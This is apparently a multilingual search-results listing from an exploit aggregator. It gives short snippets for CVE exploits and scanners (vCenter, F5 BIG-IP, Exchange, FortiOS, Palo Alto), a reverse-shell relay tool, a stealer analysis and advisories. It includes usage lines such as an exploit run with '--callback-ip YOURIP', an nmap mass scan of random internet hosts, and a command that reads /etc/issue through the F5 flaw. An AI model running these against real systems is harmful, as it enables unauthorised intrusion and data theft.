577 matches found
cve-2021-22005-exp
cve-2021-22005-exp 0x01 Introduzione alla vulnerabilità Il 21 settembre 2021, VMware ha pubblicato un advisory di sicurezza in cui sono state divulgate 19 vulnerabilità in vCenter Server, con punteggi CVSSv3 compresi tra 4.3 e 9.8. Tra queste, la vulnerabilità più grave è quella di caricamento...
westone-CVE-2021-21972-scanner
westone-CVE-2021-21972-scanner Vulnerabilidade de execução remota de código no VMware vCenter Server. Um invasor malicioso com acesso à porta 443 pode enviar uma requisição cuidadosamente construída ao vCenter Server, o que eventualmente causará execução remota arbitrária de código. Instalação e...
CVE-2020-5902-F5BIG
CVE-2020-5902-F5BIG Esegui il comando come 👇 root@kitploit: go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m R -f /etc/issue or go run CVE-2020-5902-F5BIG-Scanner.go -u ... -p 443 -m C...
CVE-2025-0108
Salva questo script come paloaltocve20250108.nse, quindi esegui il seguente comando Nmap: nmap --script paloaltocve20250108.nse -p 80,443 oppure per una lista di target: nmap --script paloaltocve20250108.nse -p 80,443 -iL targets.txt...
scanner-CVE-2020-5902
BIP-IP TMUI Scanner - CVE-2020-5902 Lo script eseguirà controlli per CVE-2020-5902 Utilizzo: Fornire un elenco di indirizzi IP in "ip.txt" per scansionare per CVE-2020-5902 Porta predefinita: 443 Output di esempio + L'host è vulnerabile a CVE-2020-5902:Indirizzo IP + L'host non è vulnerabile a...
CVE-2021-34473-NMAP-SCANNER
CVE-2021-34473-NMAP-SCANNER Uno scanner di massa per la vulnerabilità CVE-2021-34473 di Microsoft Exchange Windows Comandi root@kitploit: nmap -iR 500000 -n -p 443 --script cve202134473.nse scan500k.txt nmap website.com -n -p 443 --script cve202134473.nse Esempio root@kitploit: Starting Nmap 7.92...
CVE-2021-21975
CVE-2021-21975 Script Nmap per verificare la vulnerabilità CVE-2021-21975 Riferimenti alla vulnerabilità: https://app.howlermonkey.io/vulnerabilities/CVE-2021-21975 https://www.vmware.com/security/advisories/VMSA-2021-0004.html Blog...
mediator
Mediator è una reverse shell crittografata end-to-end in cui l'operatore e la shell si connettono a un server "mediatore" che funge da ponte tra le connessioni. Ciò elimina la necessità per l'operatore/handler di configurare il port forwarding per ascoltare la connessione. Mediator permette anche...
CVE-2024-21762
Verwendung: python3 exploit.py --target 192.168.1.1:443 --callback-ip YOURIP --callback-port 8080...
CVE-2021-26855
CVE-2021-26855 CVE-2021-26855, noto anche come Proxylogon, è una vulnerabilità di server-side request forgery SSRF in Exchange che consente a un attaccante di inviare richieste HTTP arbitrarie e autenticarsi come server Exchange. Secondo Orange Tsai, il ricercatore che ha scoperto le vulnerabilit...
Salat-Stealer-Telegram-Proxy-Decoy-C2-Analysis
1. Isca de Proxy do Telegram – Camuflagem e Evasão Quando executado, o Salat Stealer exibe uma interface de Proxy do Telegram totalmente funcional. Essa isca serve como camuflagem para enganar o usuário, fazendo-o pensar que está executando um aplicativo de proxy legítimo, enquanto o malware...
Commvault-CVE-2025-34028
CVE-2025-34028 Execução Remota de Código no Commvault CVE-2025-34028 NSE Como executar no Nmap: nmap -p443 --script CVE-2025-34028 --script-args='https-ports=443'...
SUSE CVE-2026-54764
Traefik is an HTTP reverse proxy and load balancer. Prior to v2.11.51, v3.6.22, and v3.7.6, Traefik's ForwardAuth middleware, even when configured with trustForwardHeader: false, derives the X-Forwarded-Port header sent to the authentication service from the original incoming request instead of t...
Siemens SINEC NMS Improper Authentication Privilege Escalation Vulnerability
This vulnerability allows remote attackers to escalate privileges on affected installations of Siemens SINEC NMS. Authentication is required to exploit this vulnerability. The specific flaw exists within the web service, which listens on TCP port 443 by default. The issue results from improper...
Egress Policy Bypass via DNS over TCP in Harden-Runner (Community Tier)
Summary A vulnerability exists in the Community Tier of Harden-Runner that allows bypassing the egress-policy: block network restriction using DNS queries over TCP. Harden-Runner enforces egress policies on GitHub runners by filtering outbound connections at the network layer. When egress-policy:...
CVE-2021-22005
The vCenter Server contains an arbitrary file upload vulnerability in the Analytics service. A malicious actor with network access to port 443 on vCenter Server may exploit this issue to execute code on vCenter Server by uploading a specially crafted file...
Siemens SIPROTEC Inadequate Encryption Strength (CVE-2024-38867)
The affected devices are supporting weak ciphers on several ports 443/tcp for web, 4443/tcp for DIGSI 5 and configurable port for syslog over TLS. This could allow an unauthorized attacker in a man-in-the-middle position to decrypt any data passed over to and from those ports. This plugin only...
EUVD-2016-4972
Malware in sbrugna...